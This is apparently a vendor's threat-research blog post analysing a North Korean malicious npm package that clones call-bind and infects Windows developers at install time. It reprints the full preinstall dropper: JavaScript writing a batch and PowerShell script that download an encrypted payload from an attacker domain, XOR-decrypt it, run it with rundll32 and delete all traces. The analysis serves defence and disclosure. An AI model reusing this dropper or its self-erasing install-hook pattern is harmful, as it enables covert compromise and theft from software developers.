New Tactics from a Familiar Threat
For over a year, Phylum has been exposing North Korean threat actors attacking software developers in the open-source supply chain. This blog post highlights evolving tactics from a North Korean campaign that began in September 2023 with a package published on 4 July 2024 in npm. Like a snake shedding its old skin, this attacker's evasive attempts have introduced some novelties, but many of the same patterns and idioms we have seen throughout this campaign remain. Join us as we dive deep into the details of this new offering from an old threat actor.
--cta--
A weaponized copy of a legitimate npm package
call-bind
versus call-blockflow
call-bind
is a legitimate npm package with over 2000 downstream dependents and over 45 million weekly downloads whose maintainer supports over 500 packages on npm. call-blockflow
, on the other hand, was a near duplicate of the call-bind
package published on 4 July to npm, only to be unpublished about an hour and a half later. It contained all the functional code and tests from call-bind
but with a modified package.json
file and five additional files: shim.js
, polyfill.js
, implementation.js
, callTo.js
, and mod.json
. We will discuss each of these in detail, but this change to a weaponized copy of call-bind
is already a novelty for this actor. Nearly two dozen previous malicious packages in this campaign were based on a weaponized fake of the legitimate npm package. config
.
The modifications to package.json
file from the original one in the call-bind
package give our first clues as to how the malicious execution will happen:
The name, version, and description have been changed in package.json
, and many scripts from call-bind
have been removed. (Note the misspelled funcion
in the new description.) The additional preinstall
script follows the node <file> && del <file>
pattern we have seen throughout many of this campaign’s previous packages using the additional callTo.js
file as the entry point. We will return to that file in a moment.
The three files, implementation.js
, polyfill.js
, and shim.js
, are all lifted verbatim from another npm package named date
maintained by the same developer of call-bind
(which can be found in the Date.prototype.getDate
directory on npm). It is unclear what purpose the attacker intended by including these files. They have nothing to do with any of the functionality of the original code from the call-bind
package nor anything to do with the malicious attack chain. Simple queries on GitHub suffice to find all these files in their legitimate repositories, so we are at a loss to say much more about their purpose here.
The choice of the name polyfill.js
is, however, interesting. Polyfill.js
is a JavaScript library designed to allow modern functionality on older browsers that do not natively support newer features. This file name choice could be an attempt to leverage the hype around the recent supply-chain security incident associated with the Chinese acquisition of the polyfill.io
domain, which began shipping malware to mobile devices last month. Last month, Phylum published a blog post detailing the polyfill
packages associated with the compromised domain.
The preinstall script
callTo.js
Returning to the malicious execution in the preinstall
script in package.json
, we note that callTo.js
has no counterpart in the original package. However, the name of the file callTo.js
has the same camel casing as the legitimate file callBound.js
in the legitimate call-bind
package. Whenever a developer installs the malicious call-blockflow
package, the preinstall
script will execute callTo.js
and then delete it. As we will show, no trace of callTo.js
nor any other file in this attack will exist after the preinstall
script completes its execution. This is another consistent hallmark of this attacker’s tactics across this campaign.
Examining callTo.js
, we find many of the same idiomatic patterns that this attacker has employed in the past:
const os = require("os");
const fs = require("fs");
const { exec } = require("child_process");
const setVal1 =
'@echo off\ncurl -o funData.ctr -L "https://cryptocopedia.com/explorer/search.asp?token=5032" > nul 2>&1\nstart /b /wait powershell.exe -ExecutionPolicy Bypass -File towr.ps1 > nul 2>&1\ndel "towr.ps1" > nul 2>&1\nif exist "stringh.dat" (\ndel "stringh.dat" > nul 2>&1\n)\nrename colfunc.csv stringh.dat > nul 2>&1\nif exist "stringh.dat" (\nrundll32 stringh.dat, SetExpVal tiend\n)\nif exist "mod.json" (\ndel "package.json" > nul 2>&1\nrename mod.json package.json > nul 2>&1\n)\nping 127.0.0.1 -n 2 > nul\nif exist "stringh.dat" (\ndel "stringh.dat" > nul 2>&1\n)';
const setVal2 =
'$path1 = Join-Path $PWD "funData.ctr"\n$path2 = Join-Path $PWD "colfunc.csv"\nif ([System.IO.File]::Exists($path1))\n{\n$bytes = [System.IO.File]::ReadAllBytes($path1)\nfor($i = 0; $i -lt $bytes.count; $i++)\n{\n$bytes[$i] = $bytes[$i] -bxor 0xc5\n}\n[System.IO.File]::WriteAllBytes($path2, $bytes)\nRemove-Item -Path $path1 -Force\n}';
const osType = os.type();
if (osType === "Windows_NT") {
const fileName = "dope.bat";
const psfileName = "towr.ps1";
fs.writeFile(fileName, setVal1, (err) => {
if (!err) {
fs.writeFile(psfileName, setVal2, (err) => {
if (!err) {
const child = exec(`"${fileName}"`, (error, stdout, stderr) => {
if (error) {
return;
}
if (stderr) {
return;
}
fs.unlink(fileName, (err) => {});
});
}
});
}
});
}
This script checks to see if it is in a Windows_NT
environment, and if so, it writes two files - a batch script named dope.bat
and a PowerShell script towr.ps1
. If there are any errors during this, the code attempts to fail gracefully and exit. If dope.bat
is successful, it will be deleted with the call to fs.unlink
.
The batch script, part one
dope.bat
The batch script dope.bat
executes first, and its contents are found in the setVal1
variable in callTo.js
. Here is the first part of a pretty-printed version of that code:
@echo off
curl -o funData.ctr -L "https://cryptocopedia.com/explorer/search.asp?token=5032" > nul 2>&1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File towr.ps1 > nul 2>&1
We will return to the remaining code that follows these three lines in dope.bat momentarily. Here, we can see the attacker’s first familiar stealth pattern with the @echo off
command, which hides any command prompts. The second is seen in the trailing > nul 2>&1
command that follows the next two lines. Reading from right to left, this invocation sends standard error 2
to wherever standard out 1
goes and sends standard out to nul
. Thus, all outputs, errors or otherwise, are not written anywhere.
The second line uses curl to fetch the remote file at hxxps://cryptocopedia.com/explorer/search.asp?token=5032
and write the output to a new file named funData.ctr
, which will be used later. Presumably, the query token=5032
that is passed to the search.asp
parameter is a way to prevent unwanted scraping from the attacker’s server and could be a way to track individual victims.
Unfortunately, we did not get this file before it was removed. According to the npm registry, this malicious call-blockflow
package was published on 4 July around 1740UTC and then unpublished by the attacker around 1900UTC. This rapid publish and unpublish cycle has also been consistent across much of this attacker’s campaign, but Phylum’s automated platform protects our customers from even these. Earlier this February, in this same campaign, Phylum caught and identified the malicious package react-tooltip-modal
in the wild for about 90 seconds before being unpublished, according to the npm registry.
The PowerShell script
towr.ps1
The third line of dope.bat
starts PowerShell to execute the towr.ps1
file, which was written earlier in callTo.js
with the contents of the setVal2
. The switch /b
starts PowerShell without opening a new command prompt window, and the switch /wait
pauses the execution of dope.bat
until the PowerShell script completes execution. The PowerShell parameter -ExecutionPolicy Bypass
ensures nothing during the execution of towr.ps1
will be blocked, and no warnings or prompts will be displayed. The contents of towr.ps1
from callTo.js
file are pretty-printed here:
$path1 = Join-Path $PWD "funData.ctr"
$path2 = Join-Path $PWD "colfunc.csv"
if ([System.IO.File]::Exists($path1))
{
$bytes = [System.IO.File]::ReadAllBytes($path1)
for($i = 0; $i -lt $bytes.count; $i++)
{
$bytes[$i] = $bytes[$i] -bxor 0xc5
}
[System.IO.File]::WriteAllBytes($path2, $bytes)
Remove-Item -Path $path1 -Force
}
Recall that the file funData.ctr
was the remote response from the curl
request. Had we examined this file, it would appear like a bunch of high-entropy garbage because it is encrypted. This is evident here in the for
loop which XORs every byte of funData.ctr
with the single byte key 0xc5
(which changed from 0xef
in earlier reporting) and writes the decrypted output to the new file colfunc.csv
.
The batch script, part two
dope.bat
Now that funData.ctr
has served its purpose, it is deleted in the last line of this PowerShell script, and the execution thread returns to the dope.bat
script. Here is the remaining code from the setVar1
variable in callTo.js
:
del "towr.ps1" > nul 2>&1
if exist "stringh.dat" (
del "stringh.dat" > nul 2>&1
)
rename colfunc.csv stringh.dat > nul 2>&1
if exist "stringh.dat" (
rundll32 stringh.dat, SetExpVal tiend
)
if exist "mod.json" (
del "package.json" > nul 2>&1
rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "stringh.dat" (
del "stringh.dat" > nul 2>&1
)'
The first part of the remainder of dope.bat
deletes towr.ps1
and makes way for a new file stringh.dat
, which is just a rename of the decrypted payload in colfunc.csv
file.
The second part uses rundll32
to execute the exported function SetExpVal
with the parameter tiend
, another familiar pattern from this campaign. Previous packages in this campaign have changed the exported function's name (e.g., CalculateSum) and passed a number (or nothing) as a parameter. Further independent analysis demonstrated that this behavior is a North Korean state-sponsored activity hallmark.
The third part replaces the original package.json
with the contents of mod.json
. Comparing these two, we see that not only has the description changed slightly, but all traces of the preinstall script have also vanished.
The final part of dope.bat
pings the localhost twice, a common proxy for the sleep
command in Windows batch scripting. It is possible, however unlikely, that the malware dropped by the call to SetExpVal
expects these pings to function, but we would need to analyze the decrypted payload to be sure. dope.bat
completes its execution by deleting stringh.dat
, and it is over. The victim is infected with almost no trace.
Loose ends
"But, whatabout...?"
We want to address a few things before we conclude. First, it is essential to note that no users, primary or downstream, of call-bind
have any risks associated with the call-blockflow
package. The namespaces are separate, and that is a sufficient barrier of protection. But, while the call-bind
package has not been compromised, the weaponized call-blockflow
package copies all the trust and legitimacy of the original to bolster the attack’s success. This tactic has recently been increasing in popularity.
Malicious attackers have traditionally had two broad paths to compromising users: insinuating themselves as legitimate contributors to a trusted package or creating a new fake package to deliver malware from scratch. The former is difficult but tremendously effective if successful. The latter is more accessible, but once a malicious package is discovered, that package will be easy to detect, and the attacker has to start over by creating a new fake package. By cloning existing trusted repositories, the attacker now has a nearly limitless supply of plausibly trustworthy packages to hide their malware, and this plausibility is essential for the attack to be successful. Given the wealth and ubiquity of open-source software, this creates a middle option between the two above for the attacker that shortens the development cycle for new malicious packages.
Finally, a common objection that the Phylum Research Team often gets is the fair question, “Why would any developer install the call-blockflow
package”? This threat actor has used social engineering to lure software developers into fake job interviews in which the malicious package is part of a “coding interview.” There is no job interview, and once the malicious package is installed by the victim, it is game over. The payload has been delivered, and the prospective developer’s machine is compromised, usually stealing all their cryptocurrency and whatever sensitive information they can grab. In this sense, it may be that this malicious package has a singular target in mind. Still, this North Korean threat actor has proven that nearly any software developer is a potential target, as cryptocurrency theft is a primary motive for this actor (see the concluding paragraphs from a previous blog post).
Conclusion
Phylum has captured and identified over three dozen malicious packages from this campaign, which began in September 2023. Over that time, we have seen this attacker slowly evolve tactics, but many of the same patterns emerge upon close inspection. This persistent threat shows no signs of stopping, and neither do we. Phylum will continue protecting our customers from these and many other threat actors attacking software developers.
"Hmm. Upgrades." - Neo, The Matrix Reloaded